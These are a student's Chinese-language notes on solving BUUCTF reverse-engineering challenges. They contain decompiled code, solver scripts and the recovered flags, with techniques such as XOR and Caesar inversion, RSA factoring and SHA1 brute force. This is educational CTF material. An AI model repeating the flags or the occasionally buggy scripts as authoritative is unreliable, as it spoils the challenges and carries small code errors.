整理一下笔记

BUUCTF-re

helloword

用IDA打开,选择

image-20231106211910116

之后alt+t搜索flag

收获:可以通过直接搜索flag来解决问题。

Reverse3

首先用IDA打开,然后找到main函数,分析函数通过strncmp函数比较情况,当Destination=Str2时,找到flag。str2根据上面的函数判断,但是分析其又用了base64进行加密故得出结果。

解密脚本思路为:将Str2逆向还原为Des,再对Des做base64解码

image-20240116120550093

提示base64加密再根据sub_4110BE函数判断为base64编码。

注意下面的循环

1
2
3
4
strncpy(Destination, v4, 0x28u);
v11 = j_strlen(Destination);
for ( j = 0; j < v11; ++j )
Destination[j] += j;//循环对其进行了一次转换所以在我们逆向回去时要进行一次变换
1
2
3
4
5
6
7
8
9
import base64

Des="e3nifIH9b_C@n@dH"//定义字符串变量
flag=""//定义空字符串变量

for i in range(len(Des)):
flag+=chr(ord(Des[i])-i)//将转换后的字符追加到 flag 中。
print(base64.b64decode(flag))//通过 base64.b64decode(flag) 对 flag 进行 Base64 解码,得到最终结果
///我们也可以进行base64进行在线解密

脚本分析:

ord(Des[i]) 将字符 Des[i] 转换为对应的 ASCII 值。 //ord() 函数获取一个字符的 ASCII 值。

ord(Des[i]) - i 对 ASCII 值进行减法操作,使用索引 i 对每个字符的 ASCII 值进行递减。

chr(…) 将得到的减法结果转换回字符 //chr() 函数将一个 ASCII 值转换为对应的字符。

收获:

一、了解了stencmp函数,它为字符串比较函数 ,将str1和str2进行比较,最多比较n个字节。

若str1与str2的前n个字符相同,则返回0;

若s1大于s2,则返回大于0的值;

若s1 小于s2,则返回小于0的值。

二、base64加密。它是一种将 byte数组编码为字符串的方法,而且编码出的字符串只包含ASCII基础字符。

不一样的flag

打开找到main函数,分析函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__main();
strcpy(v3, "*11110100001010000101111#");//是一个5*5的迷宫
while ( 1 )
{
puts("you can choose one action to execute");
puts("1 up");
puts("2 down");//根据上下左右来判断是一个
puts("3 left");//走迷宫的游戏
printf("4 right\n:");
~~~~~~~
if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == '1' )
exit(1);
if ( v7[5 * *(_DWORD *)&v3[25] - 41 + v4] == '#' )
{
puts("\nok, the order you enter is the flag!");//翻译为你输入的顺序是flag!
exit(0);

根据分析:

*1111
01000 //从星号走到井号
01010
00010
1111#

所以输入的顺序为:222441144222

收获

对数字敏感些,一些数字可能在提醒你做题的方向

strcpy函数:它是将一个字符串复制到另一块空间地址中的函数

strcpy(arrayName1,arrayName2);//arrName1(被覆盖者),arrName2(覆盖者)

SimpleRev~

1
2
3
4
5
6
7
8
9
10
11
 //找到main函数,点开Decry,分析找到
if ( !strcmp(text, str2) )
puts("Congratulation!\n");//text为我们所找flag


//再点开 text = join(key3, (const char *)v9);
strcpy(dest, a1);
strcat(dest, a2);//明白join函数的原理


text = join(key3, (const char *)v9);///这里也用了小段储存

所以 text=key3+v9;X查看它们的值。

text=”killshdow“

在继续向下看查看key的值,

1
2
3
 *(_QWORD *)src = 'SLCDN';
strcpy(key, key1);//点击进去key1=ADSFK
strcat(key, src);//src='SLCDN',其中使用了小端存储

所以key=’ADSFKNDCLS’

1
2
3
4
5
6
7
8
9
for ( i = 0; i < v5; ++i )
{
if ( key[v3 % v5] > 64 && key[v3 % v5] <= 90 )
key[i] = key[v3 % v5] + 32;
++v3;
}

//这上面的代码把key把大写改为小写
//我把它放进chatgpt分析一下,也可以自己进行脚本编写进行验证

所以现在的key=key = ‘adsfkndcls’

然后根据下面的代码进行脚本编写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
while ( 1 )
{
v1 = getchar();
if ( v1 == 10 )
break;
if ( v1 == 32 )
{
++v2;//v2的初始值为0
}
else
{
if ( v1 <='a'|| v1 > 'z' )//96=a,122=z
{
if ( v1 > '@' && v1 <= 'Z' )//64=@,90=Z
{
str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;//由上面可知v5=10,v3的初始值为0现在应该为10
++v3;
}
}
else
{
str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97;
++v3;
}
if ( !(v3 % v5) )
putchar(32);
++v2;
}
}
1
2
3
4
5
6
7
8
9
10
key = 'adsfkndcls'
flag =''
text = 'killshadow'
for i in range(len(text)):
for x in range(65,123):
if text[i] == chr((x-39-ord(key[i]) + 97) % 26 +97):
flag= flag+chr(x)
break
print('flag{'+flag+'}')

  1. 通过ord()函数获取密钥key的ASCII值,再将其减去39。这一步是为了使得结果在0-25之间,以便后续对小写字母进行循环移位加密。

  2. 将(x-39-ord(key[i]) + 97) % 26 +97的结果转换为字符,并与text[i]进行比较。

  3. 如果相等,则将字符x添加到flag中,并使用break语句跳出内部循环。

    所以flag{KLDQCUDFZO}

python语言写的太简短了,自己又用C语言编写了一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
int main(){

char key[] = "adsfkndcls";
char text[]="killshadow";
int v5=10;
int v3=10;
int v2=0;
int i=0;
int j=0;
char flag[100]="";//注意定义数组长度,考虑其越界问题。
for(i=0;i<10;i++)
{ //text遍历 求flag
for(j=0;j<128;j++){//j代替v1遍历求值
if(j<'A'||j>'z'||j>'Z'&&j<'a') //非英文字母跳过
continue;
if(text[i]==(j-39-key[v3%v5]+97)%26+97)
{
flag[i]=j;
v3++;
break;

}
}
}
printf("%s",flag);

return 0;
}

收获:

strlen函数:是用以计算字符串长度的函数

strcat函数:它又被称为是字符串追加/连接函数,它的功能就是在一个字符串后面追加上另外一个字符串。

小端储存:简单就是说把字符 串倒过来读,如果是16位进制则两位一输出:12 34 56 ~56 34 12

range()函数用法的一般形式为:range(起始值, 终止值, 步长)

例如,range(5)表示生成一个0到4的整数序列,range(1,5)表示生成一个1到4的整数序列,range(1,10,2)表示生成一个1、3、5、7和9的整数序列。

[ACTF新生赛2020]easyre1

首先,先查看是否有壳,脱壳之后,找到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
qmemcpy(v4, "*F'\"N,\"(I?+@", sizeof(v4));
//将字符串复制给V4=“F'\"N,\"(I?+@”



scanf("%s", v6);
if ( v6[0] != 'A' || v6[1] != 'C' || v6[2] != 'T' || v6[3] != 'F' || v6[4] != '{' || v10 != '}' )
return 0;
//推断V6的字符为ACTF{#####},#号为未知量



for ( i = 0; i <= 11; ++i ){
if ( v4[i] != _data_start__[*((char *)v5 + i) - 1] )
return 0;}
printf("You are correct!");
//推断出当V4和 _data_start__[v5[i] - 1]相等时为正确的flag
_data_start__[*((char *)v5 + i) - 1] 等价于 _data_start__[v5[i] - 1]。




脚本分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
v4 = [42,70,39,34,78,44,34,40,73,63,43,64]

//\#r:防特殊字符转
str = r'~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)('+chr(0x27)+r'&%$# !"'

s=[]

flag1 = ''

for i in v4:

print(i)//循环输入V4的值

s.append(str.find(chr(i))+1)//将V4【i】转为字符并且在str寻找并且将其位置下标加一返回到s数组中,

for i in s:

flag1 += chr(i)//设置循环将s数组中的值由十进制转为字符

print(flag1)C

flag{U9X_1S_W6@T?}

收获:

了解的用UPX脱壳

str.find函数为在str中寻找

chr()将十进制转为字符

s.append()将括号里的值转为10进制并且复制给s

[ACTF新生赛2020]rome

首先,无壳。F5打开,找到 代码部分。

然后代码分析:

找到关键 strcpy(v12, "Qsw3sj_lz4_Ujw@l");然后主要是在下面的循环中找所需要的。就是比较进行输出。

脚本分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a=[81, 115, 119, 51, 115, 106, 95, 108, 122, 52, 95, 85, 106, 119, 64, 108]
flag=''
//将上面的字符串转为ASCLL码值

for i in range (0, 16):
for k in range(0,127)://ASCLL码值的范围为 0~126
z=k
if k>64 and k<=90:
k=(k-51)%26+65//要注意这里用了凯撒加密将50换为51

if k>96 and k<=122:
k=(k-79)%26+97

if k==a[i]://最后进行比较,然后输出
flag+=chr(z)

print(flag)

flag{Cae3ar_th4_Gre@t}

收获:

strcpy函数:函数的复制。

ASCLL码值的范围为 0~126

知道了 凯撒加密

该方法把一条消息中的每个字母用字母表中固定距离之后的那个字母来替代。(如果越过了字母Z,会绕回到字母表的起始位置。例如,如果每个字母都用字母表中两个位置之后的字母代替,那么Y就被替换为A,Z就被替换为B。)编写程序用凯撒加密方法对消息进行加密。用户输入待加密的消息和移位计数(字母移动的位置数目,取值为1-25):

[BJDCTF2020]JustRE

无壳,拖进ida32,F5查看main函数,

在main函数中,找不到有用的的值,所以上网查了一下用shift+F12查看字符串

image-20231114204517671

观察到类似的flag点进去查看:

image-20231114204859674

点击DialogFunc+5A↑o之后按F5查看伪代码,

1
2
3
4
5
 sprintf(String, " BJD{%d%d2069a45792d233ac}", 19999, 0);
SetWindowTextA(hWnd, String);
return 0;
////根据C语言的推测,两个%d%d分别对应19999和0
////所以整理一下{1999902069a45792d233ac}

flag{1999902069a45792d233ac}

收获:

当无从下手的时候可以shift+F12查看一下字符串,或许会有一定的收获

flag不一定在main函数中。

Java逆向解密

2023.10.15

解压完之后发现文件后缀为.class可以判断为java文件。

用 jadx打开,找到main函数

找到几个关键的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for (char c : arr) {
int result = (c + '@') ^ 32; //加密过程
Resultlist.add(Integer.valueOf(result));//把result以整形返回,再添加到Resultlist里
}
//该代码的意思是把输入的字符每一个都加上@的ascii码,再与32做异或,最后添加到resultlist里。



int[] KEY = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65};if (Resultlist.equals(KEYList)) {
System.out.println("Congratulations!");
} else {
System.err.println("Error!");
//再由此处代码判断resultlist与keylist是否相等

equal 相等的

脚本分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
key=[180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65]
result =[]
flag=""
for i in range(len(key)): #求key的长度
key[i] =key[i]-ord("@")^32#将key加密
result.append(key[i])#将结果复制给key[i]

for i in range(len(result)):
flag +=chr(result[i])#flag=把result[i]由ASCLL码值转为字符


print("flag{"+flag+"}")

flag{ This_is_the_flag_!}

收获:

用异或将flag进行加密比较得出结果

注意{}和[]的区别,前者无序后者有序

python十分注重缩进,如果缩进不正确,得到的结果大不相同。

[GXYCTF2019]luck_guy

2023.11.16

拖进IDA,找到main函数中的求flag的地方

可以看出所求就在这个循环里,但是 switch ( rand() % 200 )的意思是随机抽取模为200

所以确定 一些逻辑:4-5-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
    switch ( rand() % 200 )
{
case 1:
puts("OK, it's flag:");
memset(&s, 0, 0x28uLL);//初始化
strcat((char *)&s, f1);//将f1加在s后面,双击点击查看f1='GXY{do_not_'
strcat((char *)&s, &f2);//将f2加在s后面,f2='icug`of\x7F'
printf("%s", (const char *)&s);//输出的s=f1+f2
break;
case 2:
printf("Solar not like you");
break;
case 3:
printf("Solar want a girlfriend");
break;
case 4:
s = 0x7F666F6067756369LL;//转为字符为'\x7Ffo`guci',但是ELF文件通常使用小端序存储,IDA会把内存中的数据自动转化为大端序存储,所以此处s要反过来//有的直接给你转为字符串是正常的
v5 = 0;
strcat(&f2, (const char *)&s);//将s的值加在f2后面,因为f2为空,所以f2=s
break;
case 5:
for ( j = 0; j <= 7; ++j )
{
if ( j % 2 == 1 )//当余数为一时,f2[j]=f2[j]-2
*(&f2 + j) -= 2;
else
--*(&f2 + j);//否则f2[j]=f2[j]-1
}
break;
default:
puts("emmm,you can't find flag 23333");
break;
}
}
return __readfsqword(0x28u) ^ v6;
}




脚本分析:

1
2
3
4
5
6
7
8
f1="{do_not_"     #"GXY{do_not_"
f2= "icug`of\x7F"
for j in range (8):
if j%2==1:
f2=f2[:j]+chr(ord(f2[j])-2) +f2[j+1:] #C语言:f2[j]=f2[j]-2;
else:
f2=f2[:j]+chr(ord(f2[j])-1) +f2[j+1:]#C语言:f2[j]=f2[j]-1;
print("flag"+f1+f2)

flag{do_not_hate_me}

收获:

strcat函数:追加函数,strcat函数是字符串追加函数,也就是在字符串后面追加另一个字符串。(在记一遍)

memset函数一般用于初始化,例如memset(&s, 0, 40uLL)的作用是将起始地址为s的内存块的前40个字节的内容都设置为0。这种操作常用于初始化内存块,清空数组或结构体等。

小段储存和大段储存:LF文件通常使用小端序存储,IDA会把内存中的数据自动转化为大端序存储,所以要注意区分

注意:\x7F为16进制,所以它们是一块的。

刮开有奖

2023.11.18

​ 没壳,32位打开,找到main函数。

1
2
3
4
5
6
7
8
9
10
  
if ( strlen(String) == 8 )//可以判断我们所求为8位数。


sub_4010F0(v7, 0, 10);//找到关键函数

//里面是一个对于V7的逆向。
//要注意的是:a1+4*i,也就是a1【i】,a1+4 * result,也就是a1【result】
//然后将其还原为C语言

得到的V7的值为”3JSJSSaZEnn”

通过用查看字符串,可以发现V4和V5为base64加密

通过在线解密可以发现BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

看到了熟悉的base64加密的特征

结合上面v4和v5的定义以及最后if对v4和v5的比较,我们可以得知v4,v5定义的过程是一个base64加密的过程。通过在线base64解密:BASE64加密解密,我们可以得到加密前的v4和v5

现在我们知道了 :

V7=”3CEHJNSZagn”

v4 = “jMp”

v5 = “WP1”

现在我们可以最后一段代码了

1
2
3
4
5
6
7
8
9
10
11
12
 if ( String[0] == v7[0] + 34//v70[0]为3将其转为ASCLL码加34在转换为字符则为String的第一个值 
&& String[1] == v10//v10为第五个位置,所以查看第五个位置的值
&& 4 * String[2] - 141 == 3 * v8
//恒等公式变换一下:String[2]=(3*v8+141)/4得到string的值
&& String[3] / 4 == 2 * (v13 / 9)//string[3]同理求出为P
&& !strcmp(v4, "ak1w")
&& !strcmp(v5, "V1Ax") )
{
MessageBoxA(hDlg, "U g3t 1T!", "@_@", 0);
}

//v7原:"ZJSECaNH3ng"

所以得到第一个值为:U

第二个值为:J

第三和第四为:WP

所以猜测后面的为base64解密的几个值

故:

flag{UJWP1iMP}

收获 :

数组寻址公式:

简单注册器

2023.11.20

第一次遇见.apk后缀的文件,工具为jadx。

打开找到main函数

分析一下就可以看到所需的。

然后编写脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
x = [100, 100, 50, 57, 52, 48, 99, 48, 52, 52, 54, 50, 98, 52, 100, 100, 55, 99, 52, 53, 48, 53, 50, 56, 56, 51, 53, 99, 99, 97, 49, 53]
flag=""
x[2] = (x[2] + x[3]) - 50
x[4] = (x[2] + x[5]) - 48
x[30] = (x[31] + x[9]) - 48
x[14] = (x[27] + x[28]) - 97

for i in range(16):
a = x[31 - i]
x[31 - i] = x[i]
x[i] = a

for num in x:
flag += chr(num)

print(flag)


收获 :

第一次遇见.apk后缀的文件,工具为jadx。

比较简单。

[GWCTF 2019]pyre

2023.11.20

得到的是 .pyc 文件,需要转换成 .py 文件

可以通过在线网站转换

1
2
3
4
5
6
7
8
9
10
11
12
13
l = len(input1)
for i in range(l):
num = ((input1[i] + i) % 128 + 128) % 128
code += num

for i in range(l - 1):
code[i] = code[i] ^ code[(i + 1)]

print code
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']

['G', 'W', 'H', 'T', '{', 'J', 'u', 's', 't', '_', 'R', 'e', '_', '1', 's', '_', 'H', 'a', '6', '6', 'y', '!', '}']

通过代码分析这是一个对 一段字符的 异或,所以我们要做的是把它逆向回去就可以了。

脚本分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
str=" "

for i in range(len(code-2),-1,-1)
code[i]=chr(ord(code[i])^ord(code[i+1]))

for i in range (len(code))
num = chr(((ord(code[i])-i)%128+128)%128)
str+=num

print(str)



注意逆回去的时候注意num = chr(((ord(code[i])-i)%128+128)%128)和for i in range(len(code-2),-1,-1)

收获:

面对.pyc文件可以用在线转化为 .py文件。

findit

2023.11.21-2023.11.21

第二次遇见.apk后缀。为 Java文件。

找到main函数,分析,对数组进行变换然后判断,编写脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
a = ['T', 'h', 'i', 's', 'I', 's', 'T', 'h', 'e', 'F', 'l', 'a', 'g', 'H', 'o', 'm', 'e']
b = ['p', 'v', 'k', 'q', '{', 'm', '1', '6', '4', '6', '7', '5', '2', '6', '2', '0', '3', '3', 'l', '4', 'm', '4', '9', 'l', 'n', 'p', '7', 'p', '9', 'm', 'n', 'k', '2', '8', 'k', '7', '5', '}']
x = [0] * 18 #数字是用来创建具有特定长度的列表,并将列表中的所有元素初始化为0。
y = [0] * 39 #注意看源代码,它规定了数字的长度。

for i in range(17):
if (a[i] < 'I' and a[i] >= 'A') or (a[i] < 'i' and a[i] >= 'a'):
x[i] = chr(ord(a[i]) + 18)
elif (a[i] < 'A' or a[i] > 'Z') and (a[i] < 'a' or a[i] > 'z'):
x[i] = a[i]
else:
x[i] = chr(ord(a[i]) - 8)

for i2 in range(38):
if (b[i2] < 'A' or b[i2] > 'Z') and (b[i2] < 'a' or b[i2] > 'z'):
y[i2] = b[i2]
else:
y[i2] = chr(ord(b[i2]) + 16)
if (y[i2] > 'Z' and y[i2] < 'a') or y[i2] >= 'z':
y[i2] = chr(ord(y[i2]) - 26)

for i in range(17):
print(x[i], end='')
print()

for i in range(38):
print(y[i], end='')






其实你写完全部后,发现只有后半部分为我们所求的。

LzakAkLzwXdsyZgew

flag{c164675262033b4c49bdf7f9cda28a75}

收获:

独立写脚本。

image-20231122194930161

rsa

2023.11.22

文件后缀为.enc和.key

什么是ENC文件类型?

最常见的是,.enc文件名扩展名的作用是表明一个文件以某种方式进行了ENC编码或ENC加密(ENC)。在许多情况下,.enc作为第二个扩展名出现(例如,文件名.txt.enc)。这通常意味着文件的内容已经被替换为加密形式的内容。当然,这使得该文件在原来的关联中无法读取。一个ENC文件不能以任何方式被读取,而且是没有意义的,除非它先被解密。
因此,这是一个用rsa加密的文件,解开后应该就是flag

首先,求公私钥,用在线软件 求得n(模数)和e(指数)

链接: http://tool.chacuo.net/cryptrsakeyparse

image-20231122201412749

再用在线工具求p和q。

链接: https://tool.lu/hexconvert/

将上面的n从十六进制转为十进制

转换为86934482296048119190666062003494800588905656017203025617216654058378322103517

然后进行大素数的分解

链接: http://factordb.com/index.php

image-20231122202305086

所以:

n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
e = 65537

gmpy2.invert(x,m) 求大整数x模m的逆元

然后编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import gmpy2
import rsa

n = 86934482296048119190666062003494800588905656017203025617216654058378322103517
e = 65537
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463
d = int(gmpy2.invert(e,(p-1)*(q-1)))
privkey = rsa.PrivateKey(n,e,d,p,q)
with open('D:\Astudy\title\BUUCTF\rsa\output\\flag.enc','rb+') as file:
text = file.read()
message = rsa.decrypt(text,privkey)
print(message)




b’flag{decrypt_256}\n’

收获:

了解rsa解密

python的包pip的安装:

image-20231122204502842

pip国内源的下载路径https://www.runoob.com/w3cnote/pip-cn-mirror.html

rsa解密

image-20231122211351110

image-20231122211535582

其中=n-1必须是质数才行。

image-20231122211817237

image-20231122212114564

https://www.bilibili.com/video/BV1YQ4y1a7n1/?spm_id_from=333.337.search-card.all.click&vd_source=2d5d92f8392dd823a882ab043d25c892

[FlareOn4]login

2023.11.23

第一次遇到.html后缀的文件。

用网页打开后,右键查看源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//语言转换一下
#include <stdio.h>
#include <string.h>

void rot13(char* str) {
int i;
for (i = 0; i < strlen(str); i++) {
if ((str[i] >= 'A' && str[i] <= 'M') || (str[i] >= 'a' && str[i] <= 'm')) {
str[i] += 13;
}
else if ((str[i] >= 'N' && str[i] <= 'Z') || (str[i] >= 'n' && str[i] <= 'z')) {
str[i] -= 13;
}
}
}

int main() {
char flag[100];
printf("Enter the flag: ");
fgets(flag, sizeof(flag), stdin);
flag[strcspn(flag, "\n")] = '\0'; // Remove trailing newline character

rot13(flag);

if (strcmp("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz", flag) == 0) {
printf("Correct flag!\n");
}
else {
printf("Incorrect flag, rot again\n");
}

return 0;
}


1
2
3
4
5
 if (strcmp("PyvragFvqrYbtvafNerRnfl@syner-ba.pbz", flag) == 0) {
printf("Correct flag!\n");
}
//这个其实就可以判断我们的flag进行加密为"PyvragFvqrYbtvafNerRnfl@syner-ba.pbz"
//我们只用把它逆向回去

然后编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
str="PyvragFvqrYbtvafNerRnfl@syner-ba.pbz"
flag=""

for i in str :
if ((i >= 'A' and i <= 'M') or (i >= 'a' and i <= 'm')):
flag+=chr(ord(i)+13)

elif ((i >= 'N' and i <= 'Z') or (i >= 'n' and i <= 'z')) :
flag+=chr(ord(i)-13)
else:
flag+=i#注意的是我们要把最后如果上面都不符合的情况考虑进去

print(flag)


flag{ClientSideLoginsAreEasy@flare-on.com}

收获:

了解了 .html后缀的文件的处理方法。

语言转换后还是要了解python的语法。包括:ord()和chr()函数的用法,什么时候要用chr(),什么时候要用ord()

[WUSTCTF2020]level1

2023.11.24

首先打开发现文件时没有后缀的,所以我们F2将它重新命名一下。(不命名也一样)

无壳。

用 ida(64)打开,main函数:

分析函数

1
2
3
fread(ptr, 1uLL, 0x14uLL, stream);:从文件中读取 0x1420)个字节的数据,并将其存储到指针 ptr 指向的内存区域中。
//其中它提醒我们注意那个后缀为.text的文件,我数了一下那个数总共20.所以他有意指引我们。
//分析一下主函数就可以编写脚本了

脚本分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ptr =[198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000]



for i in range(19):
if (((i+1)&1)!=0):
print(chr(ptr[i] >> (i+1)),end="")
else:
print(chr(ptr[i]//(i+1) ),end="")

#注意的是源代码的循环是i=1开始的,所以脚本从i+1开始



C语言版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<stdint.h>
int main() {
int output[20] = {0,198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000};
for (int i = 1; i <= 19; ++i)
{
if (i & 1)
printf("%c", (unsigned int)(output[i] >> i));
else
printf("%c", (unsigned int)( output[i]/i ));
}
}

//C语言版要注意几个头文件的编写


需要注意的是output是输出后的值所以在我们将它逆向回去的时候要注意循环里的运算变值。

也就是将<<换为>>和将/和*的等值变换。

flag{d9-dE6-20c}

收获:

第二次遇见end=" "所以要记一下

image-20231124202434868

转C语言时记不清:

image-20231124204354747

[GUET-CTF2019]re

2023.11.27

有壳,ida(64)打开,找不到main函数。

alt+T搜索一下flag,F5点开,分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  v12 = __readfsqword(0x28u);
sub_40F950((unsigned int)"input your flag:", a2, a3, a4, a5, a6, 0LL, 0LL, 0LL, 0LL);
sub_40FA80((unsigned int)"%s", (unsigned int)&v11, v6, v7, v8, v9, v11);
if ( (unsigned int)sub_4009AE(&v11) )
sub_410350("Correct!");
else
sub_410350("Wrong!");
result = 0LL;
if ( __readfsqword(0x28u) != v12 )
sub_443550();
return result;
}
//chatgpt分析一下。
//其实大多数没什么用

if ( (unsigned int)sub_4009AE(v11) )这句中里面的函数是最主要的,点开用chatgpt分析一下,然后编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#看了一下别人的wp,发现把它等值变换了一下。

flag=" "
flag+=chr(166163712 // 1629056)
flag+=chr(731332800//6771600)
flag+=chr(357245568// 3682944)
flag+=chr(1074393000//10431000)
flag+=chr(489211344//3977328)
flag+=chr( 518971936//5138336)
flag+='?'
flag+=chr(406741500//7532250)
flag+=chr(294236496//5551632)
flag+=chr(177305856//3409728)
flag+=chr(650683500//13013670)
flag+=chr(298351053 //6088797)
flag+=chr(386348487//7884663)
flag+=chr(438258597//8944053)
flag+=chr(249527520//5198490)
flag+=chr(445362764//4544518)
flag+=chr(174988800//3645600)
flag+=chr(981182160//10115280)
flag+=chr(493042704//9667504)
flag+=chr(257493600//5364450)
flag+=chr(767478780//13464540)
flag+=chr(312840624 //5488432)
flag+=chr( 1404511500//14479500)
flag+=chr(316139670//6451830)
flag+=chr(619005024//6252576)
flag+=chr(372641472//7763364)
flag+=chr(373693320//7327320)
flag+=chr(498266640//8741520)
flag+=chr(452465676//8871876)
flag+=chr(208422720//4086720)
flag+=chr(515592000//9374400)
flag+=chr(719890500//5759124)


print(flag)


#注意看其中是没有al[6]的所以我们用?代替得出flag:

flag{e?65421110b0a3099a1c039337}


#看了一下他们的wp,他们是把问号的值从0~10依次带入得到flag。
#flag+=""和flag+=''其实是一个意思

flag{e165421110ba03099a1c039337}

收获 :

复习了一下upx的破壳。

基本没有什么思路,看的别人的wp。

CrackRTF

2023.11.28-2023.11.29

首先点开文件,看见到了password1,初步推测为密码分段处理。

无壳,ida打开,F5找到main函数

首先,分析一下知道了函数大概的意思,

大致的流程就是运行程序后,输入第一个密码,密码长度为6;密码的范围是100000到999999.

1
2
3
4
if ( v7 < 100000 )
ExitProcess(0);
//这块可以看出第一段的密码不能小于100000
//又因为它必须是6位数,所以最大为999999

然后将密码1+@DBApp;对“密码1+@DBApp”进行加密,加密后if判断成功,接着输入第二个密码,第二个密码长度也为6,继续将Destination跟密码2连接起来,形成一个长度位18的Str,对Str进行加密;

1
2
3
4
5
6
7
8
9
10
11
 
v7 = atoi(Destination);
if ( v7 < 100000 )
ExitProcess(0);
strcat(Destination, "@DBApp");//strcat函数是将"@DBApp"接在Destination的后面
v3 = strlen(Destination);
sub_40100A((BYTE *)Destination, v3, String1);
if ( !_strcmpi(String1, "6E32D0943418C2C33385BC35A1470250DD8923A9") )
{
.......

在计算第一个密码段时,主要的是有一个函数,点进去。我们可以在函数sub_40100A里面可以看见关键的一句CryptCreateHash(phProv, 0x8004u, 0, 0, &phHash)这个是运用的哈希加密,我们上网搜索了解了一下哈希算法,

搜索哈希算法0x8004,了解了它是运用了SHA1哈希算法进行加密,然后就可以编写一下脚本了。

1
2
3
4
5
6
7
8
9
10
import hashlib
string='@DBApp'
for i in range(100000,999999):
flag=str(i)+string #代码使用str(i)将循环变量i转换为字符串
x = hashlib.sha1(flag.encode("utf8"))
y = x.hexdigest()
#hexdigest() 是 Python 中 hashlib 模块中 hash 对象的一个方法。它用于获取哈希对象的十六进制表示形式。
if "6e32d0943418c2c33385bc35a1470250dd8923a9" == y:
print(flag)
break

得到为123321@DBApp

所以说password1为123321



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
strcat(Str, Destination);
memset(String1, 0, sizeof(String1));//这是一个内存操作,将String1字符串的内容全部设置为0。
v4 = strlen(Str);
sub_401019((BYTE *)Str, v4, String1);
if ( !_strcmpi("27019e688a4e62a649fd99cadaafdb4e", String1) )
{
if ( !(unsigned __int8)sub_40100F(Str) )
{
printf("Error!!\n");
ExitProcess(0);
}
printf("bye ~~\n");
}
}

第二部分与第一部分相似,输入六位后进行拼接,将长度的值赋给v4,我们进入sub_401019函数,对数据进行处理、进行查看分析,只不过标识码变成了 0x8003u ,查询知是 md5 加密,用脚本爆破没出来结果,接着向下看,进入 sub_40100F函数

除了 FindResourceA, SizeofResource, LoadResource, LockResource 和 CreateFileA 外还有一个处理函数,进去康康

里面就是异或,a3 的值是从SizeofResource中获取,大概是从文件AAA中取得0x65这个信息,复制到lpBuffer中,将文件中取得的信息进行异或,生成.RTF文件

1
hFile = CreateFileA("dbapp.rtf", 0x10000000u, 0, 0, 2u, 0x80u, 0);

这段代码执行了资源的查找、加载和写入文件的操作。它从资源中获取数据并将其写入名为 “dbapp.rtf” 的文件中。具体的资源和文件操作取决于代码中使用的资源标识符、资源类型和文件名。

用resource_hacker进行信息的获取

image-20231129201841574

用010 Editor对.rtf进行查看

image-20231129201624746
1
2
3
4
5
6
7
8
9
10
v5 = lstrlenA(lpString);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a3 )
break;
*(_BYTE *)(i + a2) ^= lpString[i % v5];
}
return result;

取前六位 05 7D 41 15 26 01 ,和 rtf 文件头7B 5C 72 74 66 31两者进行异或

1
2
3
4
5
6
7
rtft = [0x7B ,0x5C ,0x72 ,0x74 ,0x66 ,0x31]
aaa = [0x05,0x7D,0x41,0x15,0x26,0x01]
pass2 = ''
for i in range(6):
pass2 += chr(rtft[i]^aaa[i])
print(pass2)

得到第二个密码。

~!3a@0

运行程序,分别输入俩个密码,程序会在同一个目录下创建一个文件,打开发现flag

